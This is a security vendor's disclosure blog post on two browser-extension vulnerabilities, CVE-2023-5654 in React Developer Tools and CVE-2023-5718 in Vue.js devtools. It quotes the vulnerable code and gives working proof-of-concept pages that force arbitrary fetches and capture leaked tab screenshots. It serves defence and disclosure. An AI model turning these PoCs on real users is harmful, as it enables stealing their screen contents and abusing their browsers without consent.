Skip to main content

Exploring WebExtension security vulnerabilities in React Developer Tools and Vue.js devtools

Écrit par:
Calum Hutton
Calum Hutton
wordpress-sync/blog-feature-toolkit

27 novembre 2023

0 minutes de lecture

Snyk's security researchers have conducted some research to better understand the risks of WebExtensions, both well-known (i.e. XSS, code injection) and those more specific to WebExtensions themselves. From our research we identified and disclosed some vulnerabilities within some popular browser extensions: React Developer Tools and Vue.js devtools. In this post, we will explore the WebExtension technology and look into the vulnerabilities identified.

Brief history of WebExtensions

WebExtension is a browser extension API that allows developers to create cross-browser extensions for Firefox, Chrome, and others. It was originally developed by Chrome and was adopted by Firefox in 2017 after they removed support for their previous extension APIs, XUL and XPCOM. The previous APIs were powerful but also less secure and harder to maintain, which were driving factors for the Firefox team to switch to supporting WebExtension.

This makes the WebExtension ecosystem particularly interesting for research, as finding a vulnerability in a single extension could affect a number of users with different browsers.

WebExtension architecture

WebExtensions are made up of different components that can interact with one another via messages. Different components of the extension have access to different APIs — isolating privileged APIs is one way WebExtensions were designed to be more secure:

  • Only background pages have access to sensitive APIs, and they cannot directly access the page content/DOM

  • Content scripts can access page content but have limited access to APIs. The manifest.json file defines the components and permissions required for the extension along with other metadata. 

blog-webextension-arch

WebExtension pitfalls

WebExtensions are deliberately less powerful than XUL and XPCOM to enhance their security; APIs are restrictive and there are fewer ways to inadvertently risk the integrity of the extension or the browser. However, there are inherent risks involved with the technologies used such as XSS, code injection, and more. However, we were more interested in WebExtension-specific risks and focused our research in these three areas:

  1. Unverified external messages - If the sender of an external message (from the browser or another extension) is not verified, malicious actors could perform unauthorized actions within the extension.

  2. Forwarding unverified external messages - Similar to the previous issue, with the addition that the unverified external message is passed to the background page, potentially gaining indirect access to privileged APIs.

  3. Unauthorized access to page capture APIs - Some APIs return screenshots of tabs to the caller in the form of base64 encoded data. If a malicious actor could access this data, they could steal sensitive information.

Building a dataset

Because we were interested at looking at WebExtensions at scale, we focused on acquiring WebExtension source code (which is a mixture of JavaScript, HTML and CSS) from the Mozilla addon website, and using a script, we were able to download the 150 most popular Firefox extensions. Extension packages are prefixed with .xpi, but in reality, are simply compressed archives that can be decompressed and beautified, if necessary (which was often the case).

Findings

React Developer Tools v4.27.8 (CVE-2023-5654)

This React Developer Tools extension registers a message listener with window.addEventListener('message', <listener>) in a content script that is accessible to any webpage that is active in the browser. Within the listener is code that requests a URL derived from the received message via fetch(). The URL is not validated or sanitized before it is fetched, thus allowing a malicious web page to arbitrarily fetch URLs via the victim's browser. 

Because the content of the response is not returned to the malicious webpage, the impact of this issue is limited, i.e, sensitive resources available only to the victim cannot be retrieved. However, this could be used to generate clicks, and therefore revenue, for malicious actors or be used along with other browsers for a distributed denial of service (DDoS) without the victims’ knowledge or consent.  

Code

The code snippet below (shortened for brevity) shows the message listener code from the Content Script extracting the URL from the potentially tainted message received, then using the arbitrary URL directly in a fetch call shortly after.

window.addEventListener('message', function onMessage({data, source}) {
  if (source !== window || !data) {
    return;
  }
  switch (data.source) {
    ...
    case 'react-devtools-extension':
      if (data.payload?.type === 'fetch-file-with-cache') {
        const url = data.payload.url; // URL from malicious webpage

        ...

        fetch(url, {cache: 'force-cache'}).then( // URL used in fetch
          response => {
            if (response.ok) {
              response
                .text()
                .then(text => resolve(text))
                .catch(error => reject(null));
            } else {
              reject(null);
            }
          },
          error => reject(null),
        );
      }
      break;
    ...

Proof of concept

In the PoC React application below, the standard postMessage() API is used to send a crafted message to trigger the above switch statement when a button is clicked. Note the source attribute in the message is react-devtools-extension and the type is fetch-file-with-cache.

<!DOCTYPE html>
<html>
<head>
  <script src="https://unpkg.com/react@18/umd/react.development.js" crossorigin></script>
  <script src="https://unpkg.com/react-dom@18/umd/react-dom.development.js" crossorigin></script>
  <script src="https://unpkg.com/@babel/standalone/babel.min.js"></script>
</head>
<body>

<div id="mydiv"></div>

<script type="text/babel">
  function Hello() {
    return <h1>Hello World!</h1>;
  }

  const container = document.getElementById('mydiv');
  const root = ReactDOM.createRoot(container);
  root.render(<Hello />)
</script>

<script>
  function sendBrowserMsg() {
    let msg = {
      source: 'react-devtools-extension',
      payload: {
        type: 'fetch-file-with-cache',
        url: 'https://www.imdb.com'
      }
    }
    console.log(`Sending msg from browser: ${JSON.stringify(msg)}`);
    postMessage(msg, "*");
  }
</script>

<form>
  <button type="button" id="submit" onClick="sendBrowserMsg()">Go!</button>
</form>

</body>
</html>

In reality, it’s likely that the malicious web page would automatically send messages to the extension without the need for user interaction. This vulnerability is an example of unverified external messages.

Vue.js devtools v6.5.0 (CVE-2023-5718)

This Vue.js devtools extension was found to leak screenshot data back to a malicious web page via the standard postMessage() API. By creating a malicious web page with an iframe targeting a sensitive website or resource (i.e. a locally accessible file) and registering a listener on the web page, the extension sent messages back to the listener containing the base64 encoded screenshot data of the sensitive website or resource. This is an example of unauthorized access to page capture APIs. 

Some user interaction was required, as the messages containing screenshot data were only sent when the target user hovered over the timeline bars in the timeline tab:

blog-webextension-devtools

Some mitigations exist in terms of the sensitive site that can be targeted by the malicious web page, as the target site must allow being embedded within iframes (i.e. the X-Frame-Options HTTP response header must not be present or must explicitly allow the target site). However, it was found that other tabs with the Vue.js devtools extension activated also leaked screenshot data back to the malicious web page, increasing the chance of sensitive information disclosure. 

Code

The code below shows how the extension uses a wildcard in the postMessage() function call (*) to send the messages back to the web page listeners, which is why screenshot data from separate tabs can be leaked. 

const bridge = new Bridge({
  listen (fn) {
    window.addEventListener('message', evt => fn(evt.data))
  },
  send (data) {
    if (process.env.NODE_ENV !== 'production') {
      console.log('%cbackend -> devtools', 'color:#888;', data)
    }
    window.parent.postMessage(data, '*')
  },
})

Proof of concept

In the PoC Vue.js application below, the standard window.addEventListener(‘message’ <listener>) API is used to register a listener on the malicious web page. The setInterval() function is used to regularly simulate clicks on the PoC page, as these (mouse, keyboard, etc.) events are what trigger the page capture APIs to generate screenshot data. The handleScreenshot() function checks each incoming message for the expected parameters and converts the incoming base64 encoded screenshot data into an image which is embedded into the PoC page. In reality, the base64 data would probably be silently exfiltrated to a malicious attacker.

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>postMessage() PoC</title>
    <script src="https://unpkg.com/vue@3/dist/vue.global.js"></script>
</head>
<body>
    <div id="app">
        <iframe src="https://www.wikipedia.org" style="position:fixed; top:0; left:0; bottom:0; right:0; width:100%; height:100%; border:none; margin:0; padding:0; overflow:hidden;"></iframe>
    </div>
    <script>
        const { createApp, ref } = Vue

        createApp({
            setup() {
                const message = ref('Hello vue!')
                return {
                    message
                }
            }
        }).mount('#app')
    </script>

    <script>
        function dummyClick() {
            console.log('Simulating click on PoC page..')
            document.body.click();
        }

        function listenForMsg() {
            window.addEventListener("message", (msg) => {
                console.log(`Got message in PoC page (window.addEventListener): ${JSON.stringify(msg.data)}, source: ${msg.source.location}`);
                handleScreenshot(msg.data);
            });
            console.log(`Added message listener (window.addEventListener)..`);
        }

        function handleScreenshot(data) {
            if (data.payload && data.payload.length > 0) {
                data.payload.forEach((event) => {
                    if (event.event === 'b:timeline:show-screenshot' && event.payload.screenshot) {
                        console.log(`Got screenshot with id: ${event.payload.screenshot.id}`);
                        let img = new Image();
                        img.src = event.payload.screenshot.image;
                        document.body.append(img);
                    }
                }, null);
            }
        }

        listenForMsg();
        setInterval(dummyClick, 1500);
    </script>
</body>
</html>

Extend your WebExtension security

Now that we’ve explored the potential risks and benefits of WebExtensions and armed you with some concrete examples of vulnerabilities in React Developer Tools and Vue.js devtools, you’re ready to begin integrating WebExtension technology into your own applications without sacrificing security. 

Staying on top of the newly emerging risks is an ongoing process for every member of development and security teams. Thankfully, Snyk is here to help. Our security intelligence and developer security tools help you stay ahead of the curve and protect your application from current and future security risks. Start for free today or book a demo with our security experts to learn more.